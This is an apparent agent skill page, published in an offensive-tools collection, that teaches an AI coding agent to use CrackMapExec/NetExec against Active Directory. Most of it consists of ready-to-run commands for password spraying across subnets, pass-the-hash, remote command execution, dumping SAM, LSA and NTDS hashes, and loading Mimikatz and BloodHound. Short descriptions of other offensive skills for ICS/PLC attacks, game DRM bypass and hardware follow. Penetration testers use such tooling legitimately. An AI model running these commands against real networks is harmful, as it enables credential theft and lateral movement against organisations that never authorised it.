offensive-tools/windows/crackmapexec/SKILL.md
Swiss-army knife for Active Directory environments — SMB/WinRM/LDAP lateral movement, credential spraying, share enumeration, and remote code execution. Use when asked to spray credentials against AD, enumerate SMB shares, execute commands remotely, dump SAM/LSA/NTDS, or map an Active Directory environment.
npx skillsauth add aeondave/malskill crackmapexecInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
AD post-exploitation multitool — spray, enumerate, execute, and dump across SMB/WinRM/LDAP.
Note: CrackMapExec (cme) is deprecated. Use NetExec (
nxc) — same syntax, actively maintained.
# Check connectivity + SMB signing
nxc smb 192.168.1.0/24
# Credential validation
nxc smb 192.168.1.10 -u admin -p Password123
# Enumerate shares
nxc smb 192.168.1.10 -u admin -p Password123 --shares
smb, winrm, ldap, mssql, ssh, rdp, ftp, vnc
| Flag | Description |
|------|-------------|
| -u <user> | Username or user list |
| -p <pass> | Password or password list |
| -H <hash> | NTLM hash (pass-the-hash) |
| --local-auth | Authenticate with local account |
| -d <domain> | Domain name |
| -k | Use Kerberos authentication |
| --continue-on-success | Don't stop on first valid cred |
| -x <cmd> | Execute command (cmd.exe) |
| -X <cmd> | Execute PowerShell command |
| --exec-method <m> | Execution method: wmiexec,smbexec,atexec,mmcexec |
| --shares | Enumerate shares |
| --users | Enumerate domain users |
| --groups | Enumerate domain groups |
| --computers | Enumerate domain computers |
| --loggedon-users | Show logged-on users |
| --sessions | Show active sessions |
| --sam | Dump SAM hashes |
| --lsa | Dump LSA secrets |
| --ntds | Dump NTDS.dit (DC only) |
| -M <module> | Load a module |
| --pass-pol | Get password policy |
| --rid-brute | RID brute-force user enumeration |
# Password spray across subnet (continue on success)
nxc smb 192.168.1.0/24 -u users.txt -p "Summer2024!" --continue-on-success
# Pass-the-hash
nxc smb 192.168.1.10 -u administrator -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117 --local-auth
# Remote command execution
nxc smb 192.168.1.10 -u admin -p Password123 -x "whoami /all"
# Enumerate shares + readable content
nxc smb 192.168.1.10 -u admin -p Password123 --shares
# SAM dump (local admin required)
nxc smb 192.168.1.10 -u admin -p Password123 --sam
# NTDS dump (domain controller, DA required)
nxc smb <DC_IP> -u admin -p Password123 --ntds
# Execute with WinRM
nxc winrm 192.168.1.10 -u admin -p Password123 -x "ipconfig /all"
# LDAP: enumerate AD users
nxc ldap 192.168.1.10 -u admin -p Password123 --users
# Mimikatz (requires admin)
nxc smb 192.168.1.10 -u admin -p Password123 -M mimikatz
# BloodHound data collection
nxc ldap <DC_IP> -u admin -p Password123 -M bloodhound
# WebDAV check
nxc smb 192.168.1.0/24 -M webdav
# Printer nightmare check
nxc smb 192.168.1.0/24 -M printnightmare
# Check for GPP passwords
nxc smb 192.168.1.0/24 -u admin -p Password123 -M gpp_password
| File | When to load |
|------|--------------|
| references/modules.md | Full module list, module-specific flags, output parsing |
data-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.